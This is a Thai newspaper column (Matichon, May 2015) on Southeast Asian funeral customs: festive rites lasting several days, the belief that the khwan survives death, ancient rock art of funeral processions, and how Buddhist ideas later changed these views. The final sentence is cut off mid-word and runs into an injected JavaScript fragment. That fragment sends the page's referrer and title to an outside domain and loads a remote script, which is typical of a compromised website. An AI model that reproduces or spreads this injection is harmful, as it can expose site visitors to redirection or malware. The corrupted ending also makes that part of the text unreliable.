มติชนรายวัน ฉบับประจำวันพุธที่ 27 พฤษภาคม 2558

 

พิธีศพ สนุกสนานหลายวัน

          ไทยทำศพนานหลายวัน ซึ่งเป็นวัฒนธรรมร่วมของอุษาคเนย์ในอาเซียน

          พิธีศพของคนพื้นเมืองดั้งเดิมในภูมิภาคอุษาคเนย์ อาจนับเป็นพิธีศพยาวนานหลายวันที่สุดในโลกก็ได้ ที่สนุกสนานรื่นเริงด้วยการร้องรำทำเพลงเพื่อเรียกขวัญที่หายไปให้กลับคืนร่างเดิม

          เพราะเชื่อว่าคนที่นอนนิ่งไม่พูดไม่จาอยู่นั้นขวัญหายหรือขวัญหนีไปชั่วคราว อีกไม่นานจะกลับมาคืนร่างเดิมเป็นปกติ จึงต้องร่วมกันทำเสียงส่งให้ขวัญรู้ทางกลับ

          มีภาพเขียนสีบนผนังถ้ำหรือบนเพิงผา มีอายุราว 2,500 ปีมาแล้ว เป็นขบวนแห่ตีฆ้องกลองและกระบอกไม้ไผ่เนื่องในงานศพ ซึ่งต้องเริ่มด้วยทำขวัญ มีเลี้ยงผีบรรพชน

          เครื่องประโคมตีในงานศพอย่างนี้จะมีพัฒนาการต่อไปข้างหน้าเป็นเครื่องประโคมเป่าปี่ตีฆ้องกลอง เรียกวงปี่พาทย์ เป็นลักษณะเฉพาะของอุษาคเนย์ที่ใช้งานพิธีกรรมสำคัญอื่นๆ ด้วย เช่น โขนละคร, ทำบุญทั่วไป

funeral27-05-58 1

คนตาย ขวัญไม่ตาย

          ความตายในความเข้าใจของคนเมื่อหลายพันหลายหมื่นปีมาแล้วไม่น่าจะมีและเป็นอย่างเดียวกับปัจจุบัน

          คนแต่ก่อนเชื่อว่าแม้เจ้าของขวัญจะตายไปแล้ว แต่ขวัญยังไม่ตาย เพราะขวัญของผู้ตายจะไปรวมพลังกับขวัญบรรพชนคนก่อนๆ (ที่ฝังอยู่ลานกลางบ้านหรือใต้ถุนเรือนบริเวณเดียวกัน) เพื่อปกป้องคุ้มครองชุมชนและเผ่าพันธุ์ พร้อมทั้งบันดาลความอุดมสมบูรณ์ให้ชุมชน

          แต่บ้างก็เชื่อว่าคนที่นอนนิ่งอยู่นั้น ขวัญหายไปชั่วคราว และขณะนั้นขวัญกำลังหาหนทางกลับเหย้าเรือนเดิมและร่างเดิมของตนไม่วันใดก็วันหนึ่ง

          ด้วยความเชื่ออย่างนี้เอง งานศพในไทยสมัยก่อนๆ จึงสนุกสนานรื่นเริงต่อเนื่องหลายวัน (ไม่มีเศร้าโศก)

          ดูได้จากวรรณกรรม เช่น อิเหนา พรรณนาการละเล่นงานศพเจ้านาย มีละครโขนหนังและดอกไม้ไฟสนุกตื่นเต้นมาก ไม่มีทุกข์โศกคร่ำครวญ ในวัฒนธรรมลาวเรียก“งันเฮือนดี” (งานเรือนดีมีสุข)

          (ครั้นได้รับคติพุทธศาสนาแล้ว ความเชื่อก็ปรับเปลี่ยนไปว่าเมื่อคนตายแล้วก็ไม่มีขวัญ แต่จะมีวิญญาณล่องลอยไปใช้กรรม เมื่อหมดกรรมก็เกิดใหม่)

          กรุงเทพฯ รอบนอก จนถึงบ้านนอกทุกวันนี้ ตระกูลมั่งคั่งและมั่นคงทำงานศพต้องมี ปี่พาทย์วงใหญ่ประโคม บางบ้านมีลิเกหรือโขน บางทีมีวงดนตรีลูกทุ่ง, รำวงย้อนยุค, และโคโยตี้ ฯลฯ

          ไม่มีอะไรผิดประเพณีงานศพดั้งเดิมดึกดำบรรพ์ นอกเสียจากสิ้นเปลืองs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;